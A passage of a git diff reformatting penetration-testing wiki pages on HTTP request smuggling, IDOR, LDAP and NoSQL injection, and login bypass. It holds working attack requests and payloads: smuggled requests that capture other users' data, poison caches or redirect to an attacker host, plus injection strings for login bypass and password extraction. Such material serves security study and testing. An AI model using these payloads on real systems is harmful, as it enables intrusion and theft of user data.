keep-alive`\ +`Content-Length: 6`\ +``\ +`0`\ +``\ +`X` Since the front-end server uses the `Transfer-Encoding` header, it will forward only part of this request, omitting the `X`. The back-end server uses the `Content-Length` header, expects more content in the message body, and waits for the remaining content to arrive. This will cause an observable time delay. ### Probing HTTP Request Smuggling vulnerabilities -Once you have found that the **timing techniques are working** you need to **probe** that you can you can **alter others clients requests**. -The easiest way to do this is to try to poison your own requests, **make a request for `/` return a 404 for example**. +Once you have found that the **timing techniques are working** you need to **probe **that you can you can **alter others clients requests**.\ +The easiest way to do this is to try to poison your own requests, **make a request for `/` return a 404 for example**.\ In the [Basic Examples](http-request-smuggling.md#basic-examples) we already saw `CL.TE` and `TE.CL` examples of how to poison a clients request to ask for `/404` provoking a 404 response when the client was asking for any other resource. #### **Notes** @@ -176,91 +176,91 @@ Some times the **front-end proxies will perform some security checks**. You can #### CL.TE -`POST / HTTP/1.1 -Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net -Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr -Connection: keep-alive -Content-Type: application/x-www-form-urlencoded -Content-Length: 67 -Transfer-Encoding: chunked - -0 - -GET /admin HTTP/1.1 -Host: localhost -Content-Length: 10 - -x=` +`POST / HTTP/1.1`\ +`Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net`\ +`Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr`\ +`Connection: keep-alive`\ +`Content-Type: application/x-www-form-urlencoded`\ +`Content-Length: 67`\ +`Transfer-Encoding: chunked`\ +``\ +`0`\ +``\ +`GET /admin HTTP/1.1`\ +`Host: localhost`\ +`Content-Length: 10`\ +``\ +`x=` #### TE.CL -`POST / HTTP/1.1 -Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net -Cookie: session=Dpll5XYw4hNEu09dGccoTjHlFNx5QY1c -Content-Type: application/x-www-form-urlencoded -Connection: keep-alive -Content-Length: 4 -Transfer-Encoding: chunked -2b -GET /admin HTTP/1.1 -Host: localhost -a=x -0` - +`POST / HTTP/1.1`\ +`Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net`\ +`Cookie: session=Dpll5XYw4hNEu09dGccoTjHlFNx5QY1c`\ +`Content-Type: application/x-www-form-urlencoded`\ +`Connection: keep-alive`\ +`Content-Length: 4`\ +`Transfer-Encoding: chunked`\ +`2b`\ +`GET /admin HTTP/1.1`\ +`Host: localhost`\ +`a=x`\ +`0`\ +``\ +`` +### Revealing front-end request rewriting -### Revealing front-end request rewriting - -In many applications, the **front-end server performs some rewriting of requests** before they are forwarded to the back-end server, typically by adding some additional request headers. -One common thing to do is to **add to the request the header** `X-Forwarded-For: ` or some similar header so the back-end knows the IP of the client. -Sometimes, if you can **find which new values are appended** to the request you could be able to **bypass protections** and **access hidden information**/**endpoints**. +In many applications, the** front-end server performs some rewriting of requests** before they are forwarded to the back-end server, typically by adding some additional request headers.\ +One common thing to do is to **add to the request the header** `X-Forwarded-For: ` or some similar header so the back-end knows the IP of the client.\ +Sometimes, if you can **find which new values are appended** to the request you could be able to **bypass protections **and **access hidden information**/**endpoints**. For discovering how is the proxy rewriting the request you need to **find a POST parameter that the back-end will reflect it's value** on the response. Then, use this parameter the last one and use an exploit like this one: -`POST / HTTP/1.1 -Host: vulnerable-website.com -Content-Length: 130 -Connection: keep-alive -Transfer-Encoding: chunked -0 - -POST /search HTTP/1.1 -Host: vulnerable-website.com -Content-Type: application/x-www-form-urlencoded -Content-Length: 100 - -search=` +`POST / HTTP/1.1`\ +`Host: vulnerable-website.com`\ +`Content-Length: 130`\ +`Connection: keep-alive`\ +`Transfer-Encoding: chunked`\ +`0`\ +``\ +`POST /search HTTP/1.1`\ +`Host: vulnerable-website.com`\ +`Content-Type: application/x-www-form-urlencoded`\ +`Content-Length: 100`\ +``\ +`search=` In this case the next request will be appended after `search=` which is also **the parameter whose value is going to be reflected** on the response, therefore it's going to **reflect the headers of the next request**. -Note that **only the length indicated in the `Content-Length` header of the embedded request is going to be reflected**. If you use a low number, only a few bytes will be reflected, if you use a bigger number than the length of all the headers, then the embedded request will throw and error. Then, you should **start** with a **small number** and **increase** it until you see all you wanted to see. +Note that** only the length indicated in the `Content-Length` header of the embedded request is going to be reflected**. If you use a low number, only a few bytes will be reflected, if you use a bigger number than the length of all the headers, then the embedded request will throw and error. Then, you should **start **with a **small number **and **increase **it until you see all you wanted to see.\ Note also that this **technique is also exploitable with a TE.CL** vulnerability but the request must end with `search=\r\n0\r\n\r\n`. However, independently of the new line characters the values are going to be appended to the search parameter. Finally note that in this attack we are still attacking ourselves to learn how the front-end proxy is rewriting the request. -### Capturing other users' requests +### Capturing other users' requests If you can find a POST request which is going to save the contents of one of the parameters you can append the following request as the value of that parameter in order to store the quest of the next client: -`POST / HTTP/1.1 -Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net -Content-Type: application/x-www-form-urlencoded -Content-Length: 319 -Connection: keep-alive -Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi -Transfer-Encoding: chunked - -0 - -POST /post/comment HTTP/1.1 -Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net -Content-Length: 659 -Content-Type: application/x-www-form-urlencoded -Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi - -csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=` +`POST / HTTP/1.1`\ +`Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\ +`Content-Type: application/x-www-form-urlencoded`\ +`Content-Length: 319`\ +`Connection: keep-alive`\ +`Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi`\ +`Transfer-Encoding: chunked`\ +``\ +`0`\ +``\ +`POST /post/comment HTTP/1.1`\ +`Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\ +`Content-Length: 659`\ +`Content-Type: application/x-www-form-urlencoded`\ +`Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi`\ +``\ +`csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=` -In this case, the value of the **parameter comment** is going to be **saved inside a comment** of a post in the page that is **publicly available**, so a **comment will appear with the content of the next request**. +In this case, the value of the** parameter comment** is going to be** saved inside a comment **of a post in the page that is **publicly available**, so a **comment will appear with the content of the next request**. _One limitation with this technique is that it will generally only capture data up until the parameter delimiter that is applicable for the smuggled request. For URL-encoded form submissions, this will be the `&` character, meaning that the content that is stored from the victim user's request will end at the first `&`, which might even appear in the query string._ @@ -268,101 +268,101 @@ Note also that this **technique is also exploitable with a TE.CL** vulnerability ### Using HTTP request smuggling to exploit reflected XSS -If the web page is also **vulnerable to Reflected XSS**, you can abuse HTTP Request Smuggling to attack clients of the web. The exploitation of Reflected XSS from HTTP Request Smuggling have some advantages: +If the web page is also** vulnerable to Reflected XSS**, you can abuse HTTP Request Smuggling to attack clients of the web. The exploitation of Reflected XSS from HTTP Request Smuggling have some advantages: * **It requires no interaction with victim users** -* It can be used to **exploit** XSS behavior in parts of the request that **cannot be trivially controlled in a normal reflected XSS attack**, such as HTTP request headers. +* It can be used to **exploit **XSS behavior in parts of the request that **cannot be trivially controlled in a normal reflected XSS attack**, such as HTTP request headers. If a web is vulnerable to Reflected XSS on the User-Agent header you can use this payload to exploit it: -`POST / HTTP/1.1 -Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net -User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 -Cookie: session=Ro7YknOtbl3bxURHAAxZz84qj3PSMnSY -Transfer-Encoding: chunked -Connection: keep-alive -Content-Length: 213 -Content-Type: application/x-www-form-urlencoded - -0 - -GET /post?postId=2 HTTP/1.1 -Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net -User-Agent: "> -Content-Length: 10 -Content-Type: application/x-www-form-urlencoded - -A=` +`POST / HTTP/1.1`\ +`Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net`\ +`User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0`\ +`Cookie: session=Ro7YknOtbl3bxURHAAxZz84qj3PSMnSY`\ +`Transfer-Encoding: chunked`\ +`Connection: keep-alive`\ +`Content-Length: 213`\ +`Content-Type: application/x-www-form-urlencoded`\ +``\ +`0`\ +``\ +`GET /post?postId=2 HTTP/1.1`\ +`Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net`\ +`User-Agent: ">`\ +`Content-Length: 10`\ +`Content-Type: application/x-www-form-urlencoded`\ +``\ +`A=` -### Using HTTP request smuggling to turn an on-site redirect into an open redirect +### Using HTTP request smuggling to turn an on-site redirect into an open redirect Many applications perform on-site redirects from one URL to another and place the hostname from the request's `Host` header into the redirect URL. An example of this is the default behavior of Apache and IIS web servers, where a request for a folder without a trailing slash receives a redirect to the same folder including the trailing slash: -`GET /home HTTP/1.1 -Host: normal-website.com - -HTTP/1.1 301 Moved Permanently -Location: https://normal-website.com/home/` +`GET /home HTTP/1.1`\ +`Host: normal-website.com`\ +``\ +`HTTP/1.1 301 Moved Permanently`\ +`Location: https://normal-website.com/home/` This behavior is normally considered harmless, but it can be exploited in a request smuggling attack to redirect other users to an external domain. For example: -`POST / HTTP/1.1 -Host: vulnerable-website.com -Content-Length: 54 -Connection: keep-alive -Transfer-Encoding: chunked - -0 - -GET /home HTTP/1.1 -Host: attacker-website.com -Foo: X` +`POST / HTTP/1.1`\ +`Host: vulnerable-website.com`\ +`Content-Length: 54`\ +`Connection: keep-alive`\ +`Transfer-Encoding: chunked`\ +``\ +`0`\ +``\ +`GET /home HTTP/1.1`\ +`Host: attacker-website.com`\ +`Foo: X` The smuggled request will trigger a redirect to the attacker's website, which will affect the next user's request that is processed by the back-end server. For example: -`GET /home HTTP/1.1 -Host: attacker-website.com -Foo: XGET /scripts/include.js HTTP/1.1 -Host: vulnerable-website.com - -HTTP/1.1 301 Moved Permanently -Location: https://attacker-website.com/home/` +`GET /home HTTP/1.1`\ +`Host: attacker-website.com`\ +`Foo: XGET /scripts/include.js HTTP/1.1`\ +`Host: vulnerable-website.com`\ +``\ +`HTTP/1.1 301 Moved Permanently`\ +`Location: https://attacker-website.com/home/` Here, the user's request was for a JavaScript file that was imported by a page on the web site. The attacker can fully compromise the victim user by returning their own JavaScript in the response. -### Using HTTP request smuggling to perform web cache poisoning +### Using HTTP request smuggling to perform web cache poisoning -If any part of the **front-end infrastructure performs caching of content** \(generally for performance reasons\) the it **might be possible to poison that cache modifying the response of the server**. +If any part of the **front-end infrastructure performs caching of content** (generally for performance reasons) the it **might be possible to poison that cache modifying the response of the server**. -We have already see how to modify the expected returned value from the server to a 404 \(in the [Basic Examples](http-request-smuggling.md#basic-examples)\), in a similar way you could make the server return the content of /index.html when the poisoned request is asking for `/static/include.js` . This way, the content of the `/static/include.js` will be cached with the content of `/index.html` making `/static/include.js` inaccessible to the clients \(DoS?\). +We have already see how to modify the expected returned value from the server to a 404 (in the [Basic Examples](http-request-smuggling.md#basic-examples)), in a similar way you could make the server return the content of /index.html when the poisoned request is asking for `/static/include.js` . This way, the content of the `/static/include.js` will be cached with the content of `/index.html` making `/static/include.js` inaccessible to the clients (DoS?). -Notice this is even more interesting if you find some **Open Redirect** or some **on-site redirect to open redirect** \(last section\). Because, you could be able to **change the cache values** of `/static/include.js` with the **ones of a script controlled by you** \(making a **general XSS to all the clients** that try to download the new version of`/static/include.js`\). +Notice this is even more interesting if you find some **Open Redirect **or some** on-site redirect to open redirect** (last section). Because, you could be able to **change the cache values** of `/static/include.js` with the **ones of a script controlled by you** (making a **general XSS to all the clients** that try to download the new version of`/static/include.js`). In this example it's going to be shown how you can exploit a **cache poisoning + on-site redirect to open redirect** to modify the contents of the cache of `/static/include.js` to **serve JS code controlled** by the attacker: -`POST / HTTP/1.1 -Host: vulnerable.net -Content-Type: application/x-www-form-urlencoded -Connection: keep-alive -Content-Length: 124 -Transfer-Encoding: chunked - -0 - -GET /post/next?postId=3 HTTP/1.1 -Host: attacker.net -Content-Type: application/x-www-form-urlencoded -Content-Length: 10 - -x=1` +`POST / HTTP/1.1`\ +`Host: vulnerable.net`\ +`Content-Type: application/x-www-form-urlencoded`\ +`Connection: keep-alive`\ +`Content-Length: 124`\ +`Transfer-Encoding: chunked`\ +``\ +`0`\ +``\ +`GET /post/next?postId=3 HTTP/1.1`\ +`Host: attacker.net`\ +`Content-Type: application/x-www-form-urlencoded`\ +`Content-Length: 10`\ +``\ +`x=1` -Note how the embedded request is asking for `/post/next?postId=3` This request is going to be redirected to `/post?postId=4` and **will use the value of the Host header** to indicate the domain. Therefore, you can **modify the Host header** to point the attackers server and the redirect will use that domain \(**on-site redirect to open redirect**\). +Note how the embedded request is asking for `/post/next?postId=3` This request is going to be redirected to `/post?postId=4` and **will use the value of the Host header** to indicate the domain. Therefore, you can **modify the Host header **to point the attackers server and the redirect will use that domain (**on-site redirect to open redirect**). -Then, **after poisoning the socket**, you need to send a **GET request** to **`/static/include.js`**this request will be **poisoned** by the **on-site redirect to open redirect** request and will **grab the contents of the attacker controlled script**. +Then,** after poisoning the socket**, you need to send a **GET request **to **`/static/include.js`**this request will be **poisoned **by the **on-site redirect to open redirect** request and will **grab the contents of the attacker controlled script**. -The next time that somebody ask for `/static/include.js` the cached contents of the attackers script will be server \(general XSS\). +The next time that somebody ask for `/static/include.js `the cached contents of the attackers script will be server (general XSS). -### Using HTTP request smuggling to perform web cache deception +### Using HTTP request smuggling to perform web cache deception > **What is the difference between web cache poisoning and web cache deception?** > @@ -371,19 +371,19 @@ The next time that somebody ask for `/static/include.js` the cached contents of In this variant, the attacker smuggles a request that returns some sensitive user-specific content. For example: -`POST / HTTP/1.1 -Host: vulnerable-website.com -Connection: keep-alive -Content-Length: 43 -Transfer-Encoding: chunked - -0 - -GET /private/messages HTTP/1.1 -Foo: X` +`POST / HTTP/1.1`\ +`Host: vulnerable-website.com`\ +`Connection: keep-alive`\ +`Content-Length: 43`\ +`Transfer-Encoding: chunked`\ +``\ +`0`\ +``\ +`GET /private/messages HTTP/1.1`\ +`Foo: X` -If the **poison reaches a client that was accessing some static content** like `/someimage.png` that was going to be **cached**. The contents of `/private/messages` of the victim will be cached in `/someimage.png` and the attacker will be able to steal them. -Note that the **attacker doesn't know which static content the victim was trying to access** so probably the best way to test this is to perform the attack, wait a few seconds and **load all** the static contents and **search for the private data**. +If the **poison reaches a client that was accessing some static content **like `/someimage.png` that was going to be **cached**. The contents of `/private/messages` of the victim will be cached in `/someimage.png` and the attacker will be able to steal them.\ +Note that the **attacker doesn't know which static content the victim was trying to access** so probably the best way to test this is to perform the attack, wait a few seconds and** load all** the static contents and **search for the private data**. ## Turbo intruder scripts @@ -478,9 +478,9 @@ def handleResponse(req, interesting): ## More info -![](../.gitbook/assets/eki5edauuaaipik.jpg) +![](../.gitbook/assets/EKi5edAUUAAIPIK.jpg) -[Image from here.](https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104) +[Image from here.](https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104) ## Tools @@ -497,4 +497,3 @@ def handleResponse(req, interesting): * [https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4) * [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/) * [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html) - diff --git a/pentesting-web/idor.md b/pentesting-web/idor.md index 39965ea2..cc2ffc11 100644 --- a/pentesting-web/idor.md +++ b/pentesting-web/idor.md @@ -1,100 +1,99 @@ # IDOR -**Post taken from** [**https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489**](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)\*\*\*\* +**Post taken from **[**https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489**](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**** -## Unsuspected places to look for IDORs +## Unsuspected places to look for IDORs -### Don’t ignore encoded and hashed IDs +### Don’t ignore encoded and hashed IDs When faced with an encoded ID, it might be possible to decode the encoded ID using common encoding schemes. And if the application is using a hashed/ randomized ID, see if the ID is predictable. Sometimes applications use algorithms that produce insufficient entropy, and as such, the IDs can actually be predicted after careful analysis. In this case, try creating a few accounts to analyze how these IDs are created. You might be able to find a pattern that will allow you to predict IDs belonging to other users. -Additionally, it might be possible to leak random or hashed IDs via another API endpoint, on other public pages in the application \(profile page of other users, etc\), or in a URL via referer. +Additionally, it might be possible to leak random or hashed IDs via another API endpoint, on other public pages in the application (profile page of other users, etc), or in a URL via referer. For example, once I found an API endpoint that allows users to retrieve detailed direct messages through a hashed conversation ID. The request kinda looks like this: -```text +``` GET /api_v1/messages?conversation_id=SOME_RANDOM_ID ``` -This seems okay at first glance since the _conversation\_id_ is a long, random, alphanumeric sequence. But I later found that you can actually find a list of conversations for each user just by using their user ID! +This seems okay at first glance since the _conversation_id _is a long, random, alphanumeric sequence. But I later found that you can actually find a list of conversations for each user just by using their user ID! -```text +``` GET /api_v1/messages?user_id=ANOTHER_USERS_ID ``` -This would return a list of _conversation\_ids_ belonging to that user. And the _user\_id_ is publicly available on each user’s profile page. Therefore, you can read any user’s messages by first obtaining their user\_id on their profile page, then retrieving a list of conversation\_ids belonging to that user, and finally loading the messages via the API endpoint /api\_v1/messages! +This would return a list of _conversation_ids_ belonging to that user. And the _user_id_ is publicly available on each user’s profile page. Therefore, you can read any user’s messages by first obtaining their user_id on their profile page, then retrieving a list of conversation_ids belonging to that user, and finally loading the messages via the API endpoint /api_v1/messages! -### If you can’t guess it, try creating it +### If you can’t guess it, try creating it If the object reference IDs seem unpredictable, see if there is something you can do to manipulate the creation or linking process of these object IDs. -### Offer the application an ID, even if it doesn’t ask for it +### Offer the application an ID, even if it doesn’t ask for it -If no IDs are used in the application generated request, try adding it to the request. Try appending _id, user\_id, message\_id_ or other object reference params and see if it makes a difference to the application’s behavior. +If no IDs are used in the application generated request, try adding it to the request. Try appending _id, user_id, message_id_ or other object reference params and see if it makes a difference to the application’s behavior. For example, if this request displays all your direct messages: -```text +``` GET /api_v1/messages ``` What about this one? Would it display another user’s messages instead? -```text +``` GET /api_v1/messages?user_id=ANOTHER_USERS_ID ``` -### HPP \(HTTP parameter pollution\) +### HPP (HTTP parameter pollution) -HPP vulnerabilities \(supplying multiple values for the same parameter\) can also lead to IDOR. Applications might not anticipate the user submitting multiple values for the same parameter and by doing so, you might be able to bypass the access control set forth on the endpoint. +HPP vulnerabilities (supplying multiple values for the same parameter) can also lead to IDOR. Applications might not anticipate the user submitting multiple values for the same parameter and by doing so, you might be able to bypass the access control set forth on the endpoint. Although this seems to be rare and I’ve never seen it happen before, theoretically, it would look like this. If this request fails: -```text +``` GET /api_v1/messages?user_id=ANOTHER_USERS_ID ``` Try this: -```text +``` GET /api_v1/messages?user_id=YOUR_USER_ID&user_id=ANOTHER_USERS_ID ``` Or this: -```text +``` GET /api_v1/messages?user_id=ANOTHER_USERS_ID&user_id=YOUR_USER_ID ``` Or provide the parameters as a list: -```text +``` GET /api_v1/messages?user_ids[]=YOUR_USER_ID&user_ids[]=ANOTHER_USERS_ID ``` -### Blind IDORs +### Blind IDORs Sometimes endpoints susceptible to IDOR don’t respond with the leaked information directly. They might lead the application to leak information elsewhere instead: in export files, emails and maybe even text alerts. -### Change the request method +### Change the request method If one request method doesn’t work, there are plenty of others that you can try instead: GET, POST, PUT, DELETE, PATCH… A common trick that works is substituting POST for PUT or vice versa: the same access controls might not have been implemented! -### Change the requested file type +### Change the requested file type Sometimes, switching around the file type of the requested file may lead to the server processing authorization differently. For example, try adding .json to the end of the request URL and see what happens. -## How to increase the impact of IDORs +## How to increase the impact of IDORs -### Critical IDORs first +### Critical IDORs first Always look for IDORs in critical functionalities first. Both write and read based IDORs can be of high impact. -In terms of state-changing \(write\) IDORs, password reset, password change, account recovery IDORs often have the highest business impact. \(Say, as compared to a “change email subscription settings” IDOR.\) - -As for non-state-changing \(read\) IDORs, look for functionalities that handle the sensitive information in the application. For example, look for functionalities that handle direct messages, sensitive user information, and private content. Consider which functionalities on the application makes use of this information and look for IDORs accordingly. +In terms of state-changing (write) IDORs, password reset, password change, account recovery IDORs often have the highest business impact. (Say, as compared to a “change email subscription settings” IDOR.) +As for non-state-changing (read) IDORs, look for functionalities that handle the sensitive information in the application. For example, look for functionalities that handle direct messages, sensitive user information, and private content. Consider which functionalities on the application makes use of this information and look for IDORs accordingly. diff --git a/pentesting-web/ldap-injection.md b/pentesting-web/ldap-injection.md index 87486d8a..0f3297b2 100644 --- a/pentesting-web/ldap-injection.md +++ b/pentesting-web/ldap-injection.md @@ -4,47 +4,49 @@ **If you want to know what is LDAP access the following page:** -{% page-ref page="../pentesting/pentesting-ldap.md" %} +{% content-ref url="../pentesting/pentesting-ldap.md" %} +[pentesting-ldap.md](../pentesting/pentesting-ldap.md) +{% endcontent-ref %} **LDAP Injection** is an attack used to **exploit** **web** based applications that construct **LDAP** **statements** based on **user** **input**. When an application **fails** to properly **sanitize** user input, it's possible to modify LDAP statements using a local proxy. -{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %} +{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %} -**Filter** = \( filtercomp \) -**Filtercomp** = and / or / not / item -**And** = & filterlist -**Or** = \|filterlist -**Not** = ! filter -**Filterlist** = 1\*filter -**Item**= simple / present / substring -**Simple** = attr filtertype assertionvalue -**Filtertype** = _'=' / '~=' / '>=' / '<='_ -**Present** = attr = \* -**Substring** = attr ”=” \[initial\] \* \[final\] -**Initial** = assertionvalue -**Final** = assertionvalue -**\(&\)** = Absolute TRUE -**\(\|\)** = Absolute FALSE +**Filter** = ( filtercomp )\ +**Filtercomp** = and / or / not / item\ +**And** = & filterlist\ +**Or** = |filterlist\ +**Not** = ! filter\ +**Filterlist** = 1\*filter\ +**Item**= simple / present / substring\ +**Simple** = attr filtertype assertionvalue\ +**Filtertype** = _'=' / '\~=' / '>=' / '<='_\ +**Present** = attr = \*\ +**Substring** = attr ”=” \[initial] \* \[final]\ +**Initial** = assertionvalue\ +**Final** = assertionvalue\ +**(&)** = Absolute TRUE\ +**(|)** = Absolute FALSE -For example: -`(&(!(objectClass=Impresoras))(uid=s*)) -(&(objectClass=user)(uid=*))` +For example:\ +`(&(!(objectClass=Impresoras))(uid=s*))`\ +`(&(objectClass=user)(uid=*))` You can access to the database, and this can content information of a lot of different types. -**OpenLDAP**: If 2 filters arrive, only executes the first one. -**ADAM or Microsoft LDS**: With 2 filters they throw an error. +**OpenLDAP**: If 2 filters arrive, only executes the first one.\ +**ADAM or Microsoft LDS**: With 2 filters they throw an error.\ **SunOne Directory Server 5.0**: Execute both filters. **It is very important to send the filter with correct syntax or an error will be thrown. It is better to send only 1 filter.** -The filter has to start with: `&` or `|` +The filter has to start with: `&` or `|`\ Example: `(&(directory=val1)(folder=public))` -`(&(objectClass=VALUE1)(type=Epson*)) -VALUE1 = *)(ObjectClass=*))(&(objectClass=void` +`(&(objectClass=VALUE1)(type=Epson*))`\ +`VALUE1 = *)(ObjectClass=*))(&(objectClass=void` -Then: `(&(objectClass=`**`*)(ObjectClass=*))`** will be the first filter \(the one executed\). +Then: `(&(objectClass=`**`*)(ObjectClass=*))`** will be the first filter (the one executed). ## Login Bypass @@ -107,7 +109,7 @@ password=any ### Lists -* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_FUZZ.txt) +* [LDAP_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_FUZZ.txt) * [LDAP Attributes](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt) * [LDAP PosixAccount attributes](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html) @@ -180,7 +182,7 @@ for attribute in attributes: #Extract all attributes print() ``` -### **Special Blind LDAP Injection \(without "\*"\)** +### **Special Blind LDAP Injection (without "\*")** ```python #!/usr/bin/python3 @@ -208,4 +210,3 @@ intitle:"phpLDAPadmin" inurl:cmd.php ## More Payloads [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection) - diff --git a/pentesting-web/login-bypass/README.md b/pentesting-web/login-bypass/README.md index 7001532f..8e0c9fe7 100644 --- a/pentesting-web/login-bypass/README.md +++ b/pentesting-web/login-bypass/README.md @@ -4,15 +4,15 @@ If you find a login page, here you can find some techniques to try to bypass it: -* Check for **comments** inside the page \(scroll down and to the right?\) +* Check for **comments** inside the page (scroll down and to the right?) * Check if you can **directly access the restricted pages** -* Check to **not send the parameters** \(do not send any or only 1\) -* Check the **PHP comparisons error:** _user\[\]=a&pwd=b_ , _user=a&pwd\[\]=b_ , _user\[\]=a&pwd\[\]=b_ +* Check to **not send the parameters** (do not send any or only 1) +* Check the **PHP comparisons error:** _user\[]=a\&pwd=b_ , _user=a\&pwd\[]=b_ , _user\[]=a\&pwd\[]=b_ * Check credentials: - * [**Default credentials**](../../brute-force.md#default-credentials) ****of the technology/platform used - * **Common combinations** \(root, admin, password, name of the tech, default user with one of these passwords\). - * Create a dictionary using **Cewl**, **add** the **default** username and password \(if there is\) and try to brute-force it using all the words as **usernames and password** - * **Brute-force** using a bigger **dictionary \(**[**Brute force**](../../brute-force.md#http-post-form)**\)** + * [**Default credentials**](../../brute-force.md#default-credentials)** **of the technology/platform used + * **Common combinations** (root, admin, password, name of the tech, default user with one of these passwords). + * Create a dictionary using **Cewl**, **add** the **default** username and password (if there is) and try to brute-force it using all the words as **usernames and password** + * **Brute-force** using a bigger **dictionary (**[**Brute force**](../../brute-force.md#http-post-form)**)** ### SQL Injection authentication bypass @@ -20,19 +20,21 @@ If you find a login page, here you can find some techniques to try to bypass it: In the following page you can find a **custom list to try to bypass login** via SQL Injections: -{% page-ref page="sql-login-bypass.md" %} +{% content-ref url="sql-login-bypass.md" %} +[sql-login-bypass.md](sql-login-bypass.md) +{% endcontent-ref %} ### No SQL Injection authentication bypass -[Here you can find several tricks to bypass the login via **No SQL Injections.**](../nosql-injection.md#basic-authentication-bypass)\*\*\*\* +[Here you can find several tricks to bypass the login via **No SQL Injections.**](../nosql-injection.md#basic-authentication-bypass)**** As the NoSQL Injections requires to change the parameters value, you will need to test them manually. ### XPath Injection authentication bypass -[Here you can find several tricks to bypass the login via **XPath Injection.**](../xpath-injection.md#authentication-bypass)\*\*\*\* +[Here you can find several tricks to bypass the login via **XPath Injection.**](../xpath-injection.md#authentication-bypass)**** -```text +``` ' or '1'='1 ' or ''=' ' or 1]%00 @@ -50,9 +52,9 @@ admin' or '1'='2 ### LDAP Injection authentication bypass -[Here you can find several tricks to bypass the login via **LDAP Injection.**](../ldap-injection.md#login-bypass)\*\*\*\* +[Here you can find several tricks to bypass the login via **LDAP Injection.**](../ldap-injection.md#login-bypass)**** -```text +``` * *)(& *)(|(& @@ -72,10 +74,9 @@ If the page has "**Remember Me**" functionality check how is it implemented and ### Redirects -Pages usually redirects users after login, check if you can alter that redirect to cause an [**Open Redirect**](../open-redirect.md). Maybe you can steal some information \(codes, cookies...\) if you redirect the user to your web. +Pages usually redirects users after login, check if you can alter that redirect to cause an [**Open Redirect**](../open-redirect.md). Maybe you can steal some information (codes, cookies...) if you redirect the user to your web. ## Other Checks -* Check if you can **enumerate usernames** abusing the login functionality. -* Check if **auto-complete** is active in the password/**sensitive** information **forms** **input:** ` Check if the field password exists /?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password /?search=admin' && this.password && this.password.match(/^a.*$/)%00 @@ -86,13 +86,13 @@ in JSON ### PHP Arbitrary Function Execution -Using the **$func** operator of the [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) library \(used by default\) it might be possible to execute and arbitrary function as in [this report](https://swarm.ptsecurity.com/rce-cockpit-cms/). +Using the **$func** operator of the [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) library (used by default) it might be possible to execute and arbitrary function as in [this report](https://swarm.ptsecurity.com/rce-cockpit-cms/). ```python "user":{"$func": "var_dump"} ``` -![](../.gitbook/assets/image%20%28472%29.png) +![](<../.gitbook/assets/image (468).png>) ## Blind NoSQL @@ -134,7 +134,7 @@ while True: ## MongoDB Payloads -```text +``` true, $where: '1 == 1' , $where: '1 == 1' $where: '1 == 1' @@ -214,7 +214,6 @@ for u in get_usernames(): ## References -{% file src="../.gitbook/assets/en-nosql-no-injection-ron-shulman-peleg-bronshtein-1.pdf" %} +{% file src="../.gitbook/assets/EN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf" %} 